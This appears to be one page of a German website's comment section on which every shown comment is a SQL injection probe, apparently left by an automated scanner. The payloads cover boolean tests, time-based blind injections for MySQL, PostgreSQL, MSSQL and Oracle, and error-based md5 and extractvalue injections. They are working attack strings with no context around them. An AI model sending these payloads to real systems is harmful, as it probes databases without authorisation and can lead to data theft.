909 Kommentare

1. 'and'd'='d

2. 'and'o'='f

3. "and"t"="t

4. "and"f"="y

5. 'and(select*from(select+sleep(0))a/**/union/**/select+1)='

6. 'and(select*from(select+sleep(2))a/**/union/**/select+1)='

7. "and(select*from(select+sleep(0))a/**/union/**/select+1)="

8. "and(select*from(select+sleep(2))a/**/union/**/select+1)="

9. '/**/and(select'1'from/**/pg_sleep(0))::text>'0

10. '/**/and(select'1'from/**/pg_sleep(2))::text>'0

11. 'and(select+1)>0waitfor/**/delay'0:0:0

12. 'and(select+1)>0waitfor/**/delay'0:0:2

13. '/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',0)='b

14. '/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('h',2)='h

15. 'and/**/extractvalue(1,concat(char(126),md5(1328120705)))and'

16. "and/**/extractvalue(1,concat(char(126),md5(1555934066)))and"

17. extractvalue(1,concat(char(126),md5(1427140711)))

18. 'and(select'1'from/**/cast(md5(1999939491)as/**/int))>'0

19. /**/and/**/cast(md5('1980330267')as/**/int)>0

20. convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1004446020')))

1 | 2 | 3 | 46 | vor